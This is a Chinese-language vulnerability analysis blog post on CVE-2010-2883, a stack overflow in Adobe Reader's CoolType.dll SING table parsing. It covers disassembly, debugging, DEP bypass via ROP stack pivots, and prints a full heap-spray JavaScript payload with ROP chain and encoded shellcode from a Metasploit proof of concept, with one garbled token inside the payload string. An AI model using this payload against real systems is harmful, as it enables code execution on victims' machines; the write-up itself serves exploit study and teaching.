欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

漏洞分析之CVE-2010-2883(栈溢出)

程序员文章站 2022-05-15 21:50:50
...

之前调过一个关于浏览器的漏洞,因为第一次接触漏洞,所以很没有经验不知道最后怎么构造shellcode(特别是ROP链的写法),有幸再调试一个稍微简单点的CVE,具体查看poc中的ROP链编写。

0x00 漏洞简介

Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。
基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。

0x01 测试环境

虚拟机 winxp sp3 32bit
adobe Reader 9.3.4

利用OD以及IDA进行动静态结合的逆向分析

0x02 漏洞调试

0x1 基于字符串定位的漏洞分析方法

首先进行漏洞定位,这是分析的起始步骤,找到漏洞产生的现场,作为一个典型的stack overflow的漏洞,最典型的函数就是Strcat函数,同时本漏洞出现的原因是在堆SING表格的解析上,所以我们可以直接利用IDA分析(CoolType.dll文件)定位漏洞所在位置,alt+t搜索SING字符
漏洞分析之CVE-2010-2883(栈溢出)
利用IDA静态查看出问题的CoolType.dll动态链接库

.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h;分配栈空间0x104
.text:0803DD00                 lea     ebp, [esp-4];后面的strcat会把执行结果保存在ebp中
.text:0803DD04                 mov     eax, dword_8230FB8
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+104h], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset loc_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+arg_C]
.text:0803DD23                 mov     edi, [ebp+arg_0]
.text:0803DD29                 mov     ebx, [ebp+arg_4]
.text:0803DD2F                 mov     [ebp+var_28], edi
.text:0803DD32                 mov     [ebp+var_30], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+var_4], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+var_1C], esi
.text:0803DD4C                 mov     [ebp+var_18], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+var_4], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+var_1C]
.text:0803DD66                 mov     [ebp+var_11], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+var_1C], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+var_24];一个指向虚表的指针
.text:0803DD7D                 call    sub_8021B06;处理SING表
.text:0803DD82                 mov     eax, [ebp+var_24]
.text:0803DD85                 cmp     eax, esi;判断是否为空
.text:0803DD87                 mov     byte ptr [ebp+var_4], 2
.text:0803DD8B                 jz      short loc_803DDC4;这里不跳转
.text:0803DD8D                 mov     ecx, [eax];字体资源版本号,这里是1.0版本
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F;这里跳转
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h;寻找uniqueName,相对sing表入口偏移0x10
.text:0803DDA2                 push    eax             ; Source
.text:0803DDA3                 lea     eax, [ebp+0];前面提到的申请的变量空间
.text:0803DDA6                 push    eax             ; Dest
.text:0803DDA7                 mov     byte ptr [ebp+0], 0
.text:0803DDAB                 call    strcat;最后产生溢出的漏洞点

由上述汇编代码来看,漏洞产生的根本原因是在copy字符串时没有对字符创的长度进行检测,导致恶意数据覆盖返回地址,造成栈溢出。

0x2 SING数据结构分析

这里介绍一款PDF二进制分析工具 PdfStreamDumper,用工具导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构

typedef sturct_SING
{
    char tag[4];//"SING"
    ULONG checkSum;//校验和
    ULONG offset;//相对文件偏移
    ULONG length;//数据长度
} TableEntry;

漏洞分析之CVE-2010-2883(栈溢出)

根据TableEntry结构可知从SING入口偏移0x11c为SING真实数据,从书上知道了SING从真实数据偏移0x10为uniqueName域,从代码上可以看出strcat是将uniqueName复制到栈空间,直至遇到NULL字符串终止符。
漏洞分析之CVE-2010-2883(栈溢出)

0x3 Ollydbg动态调试

  1. 打开Adobe Reader,OD附加,f9
  2. ctrl+g:803DD9F,f2
  3. Adobe Reader中打开msf.pdf
  4. OD中断到803DD9F处

漏洞分析之CVE-2010-2883(栈溢出)
这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中,查看相关内存已经找到了SING中的数据
漏洞分析之CVE-2010-2883(栈溢出)
漏洞分析之CVE-2010-2883(栈溢出)
从第一个4byte到最后一个覆盖的地址,可以发现有0x328-0x12C=0x1FC byte
一直执行到83DDAB,造成缓冲区溢出
溢出修改了一个虚表的指针使得指指向你精心构造的ROP链

这里为了方便调试将刚刚写入*的地址全部设*问中断
漏洞分析之CVE-2010-2883(栈溢出)
这样以来就可以在接下来对刚刚复制的恶意数据进行跟踪,调试。

恶意数据跟踪调试

这里取了第一个字节
漏洞分析之CVE-2010-2883(栈溢出)


这里循环取出 在栈里面的恶意数据 注意这里取出的是4byte
漏洞分析之CVE-2010-2883(栈溢出)


将栈上的数据复制到0x491274
漏洞分析之CVE-2010-2883(栈溢出)


内存访问断点断在了 一个将0x495220c写入0x12e608内存处
漏洞分析之CVE-2010-2883(栈溢出)


到这里才到关键点,有一个调用虚表的指令,一开始虚表是存在栈上的,但是被我们溢出覆盖成了恶意地址
漏洞分析之CVE-2010-2883(栈溢出)

ROP链构造

因为软件本身自带DEP数据保护,所以这里我们需要构造DEP链来绕过它,构造ROP链的过程很巧妙。大体绕过DEP的思路如下:

  1. 利用heap spray的方法将将0x0c0c0c0c处的内存喷上自己的shellcode(这里的shellcode要伪造成用户堆栈,需要有大量的ROP以及函数调用参数组成)
  2. 构造相关ROP使得0x0c0c0c0c成为当前程序的堆栈来执行伪造的堆栈

这里我们采用了两条ROP指令将esp指向0x0c0c0c0c

首先我们看一下构造的shellcode

漏洞分析之CVE-2010-2883(栈溢出)

漏洞分析之CVE-2010-2883(栈溢出)

我们选取的ROP地址一个是0x4A82A714,另一个是0x4A80CB38,他们都位于icuncnv36.dll的地址空间,而在Adobe Reader的各个版本上,这个DLL两个地址不会随着改变,这也是我们选取他们的原因。

我们看一下他们的汇编指令
0x4A80CB38
漏洞分析之CVE-2010-2883(栈溢出)

leave:
mov esp,ebp
pop ebp

使得sp指针指向0x4A82A714,这里很巧妙的应用了该指令


0x4A82A714
漏洞分析之CVE-2010-2883(栈溢出)
现在栈顶应该是0x0c0c0c0c这样直接pop就直接可以到rop链那
最后成功到达rop链,这里总结一下ROP的精髓是控制esp也就是栈顶指针为你所用,其实是个栈翻转的作用,这里用了两次栈翻转,第一次没有shellcode,中间中转一下利用 第二个翻转将esp指到了shellcode的位置,这也ROP的巧妙之处吧。
一般运用stack pivot技术的时候一句xchg eax,esp就能够起到作用。


下面就是执行shellcode的过程了

漏洞分析之CVE-2010-2883(栈溢出)

漏洞分析之CVE-2010-2883(栈溢出)
将shellcode写在可以执行的内存上,从而绕过了DEP

0x4 heap spray技术应用

<script type="text/javascript">
var s = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u91be%u7e18%udb51%ud9c4%u2474%u5af4%uc931%u31b1%u7231%u0313%u1372%uea83%ufa6d%uad8b%u7965%u4e73%u1e75%uabfd%u1e44%ub899%uaef6%uede9%u45fa%u05bf%u2889%u2968%u863a%u044e%ubbbb%u07b3%uc63f%ue7e7%u097e%ue6fa%u7447%ubbf7%uf210%u2baa%u4e15%uc777%u5e65%u34ff%u613d%ueb2e%u3836%u0df0%u309b%u15b9%u7df8%uad73%u0aca%u6782%uf203%u4629%u01ac%u8e33%ufa0a%ue646%u8769%u3d50%u5310%ua6d4%u10b2%u034e%uf443%uc009%ub14f%u8e5e%u4453%ua4b2%ucd6f%u6b35%u95e6%uaf11%u4ea3%uf63b%u2009%ue844%u9df2%u62e0%uc91e%u2898%u0c74%u572e%u0e3a%u5830%u676a%ud301%uf0e5%u369e%u0e42%u1bd5%u87e2%uc9b0%uc5b7%u2442%uf3fb%ucdc0%u0783%ua7d8%u4c86%u5b5e%uunescapefa%u5b0b%udea9%u3819%u4d2c%u91c1%uf5cb%uee60' );
var a = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a.length + 20 + 8 < 65536) a+=a;
c = a.substring(0, (0x0c0c-0x24)/2);
c += s;
c += a;
f = c.substring(0, 65536/2);
while(f.length < 0x80000) f += f;
k = f.substring(0, 0x80000 - (0x1020-0x08) / 2);
var NwBg = new Array();
for (OYV=0;OYV<0x1f0;OYV++) NwBg[OYV]=k+"s";
</script>

因为pdf支持javascript脚本,所以利用javascript代码进行内存喷射,将shellcode重复写到内存上

0x03 漏洞验证

选用的是msf生成的poc文件,主要功能是弹出计算器,下面结合该poc文件进行相关漏洞分析预测试

漏洞分析之CVE-2010-2883(栈溢出)

漏洞执行成功